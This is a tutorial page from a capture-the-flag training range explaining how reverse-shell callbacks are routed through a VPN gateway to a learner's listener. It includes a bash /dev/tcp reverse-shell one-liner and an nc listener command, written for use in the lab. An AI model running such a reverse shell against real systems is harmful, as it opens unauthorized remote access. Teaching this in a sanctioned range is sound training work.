CYBERLESSONS101 // RANGE

How Reverse-Shell Challenges Work

A quick tutorial for the challenges that connect back to you.

On this range, reverse shells don’t come straight to your laptop. You have to point your callback exploits at the VPN gateway, which will forward a specific port to your attack box that belongs only to you.

The one-line version

When you start a private instance for one of these challenges, the page gives you a callback address and a listener port. Your exploit should always make your target connect to the IP address:port provided on the challenge page after you start a private instance.

Your private instance
the challenge container
(fires the reverse shell)
→
VPN endpoint (DNAT)
10.1.0.2:PORT
forwards that port to you
→
You, over the VPN
your listener
nc -lvnp PORT

Instance → 10.1.0.2:PORT  (DNAT)→ You:PORT

Some challenges give you more than one port — each is DNAT’d to you the same way, on the same port both ends. There’s no fixed rule for what each is: run whatever that step of the exploit needs on it.

Common uses are a web server you host (e.g. to serve an out-of-band XXE DTD, or to receive a file) and a shell/exfil catcher.

Why not connect straight to my laptop?

Your private instance runs inside an isolated cloud network (a Linode VPC). That fabric only routes to addresses inside the VPC and drops everything else — including the private VPN addresses your laptop uses (10.8.0.x).

So a container cannot reach your laptop directly even if it wanted to. That isolation is a feature, not a bug: it’s what keeps your machine isolated from everyone else connected over VPN.

To let a legitimate callback through without weakening that wall, the VPN endpoint (10.1.0.2, an address the VPC can reach) accepts the connection on one dedicated port assigned just to you, and port-forwards (DNATs) it to your VPN connected client.

Step-by-step example

  1. Start the private instance on the challenge page (premium feature). When it’s ready, the page shows your two values: a callback address 10.1.0.2:PORT and the matching listener command.
  2. Start your listener on your machine, on that same PORT:
    nc -lvnp PORT
    (Use the exact port the page gives you — it’s reserved for your instance.)
  3. Point the exploit at the callback address.
    Example:
    bash -i >& /dev/tcp/10.1.0.2/PORT 0>&1
  4. Catch the shell.
    • The container connects out to 10.1.0.2:PORT.
    • The VPN endpoint DNATs it to your listener.
    • Your nc drops into a shell on the target.
Key rule: the callback address port and your nc -lvnp port must be the same number — the one the page assigns you.
Always aim the shell at 10.1.0.2:PORT.

Why this is safe

  • One port, one owner. Each callback port is assigned to a single instance, so callbacks can only ever reach the person who started it — you.

Troubleshooting

  • Confirm your VPN tunnel is “Active” on the VPN page. This is an easy check — and an easy fix: if your connection isn’t showing green, just reconnect there, then re-fire the exploit.

← Back to challenges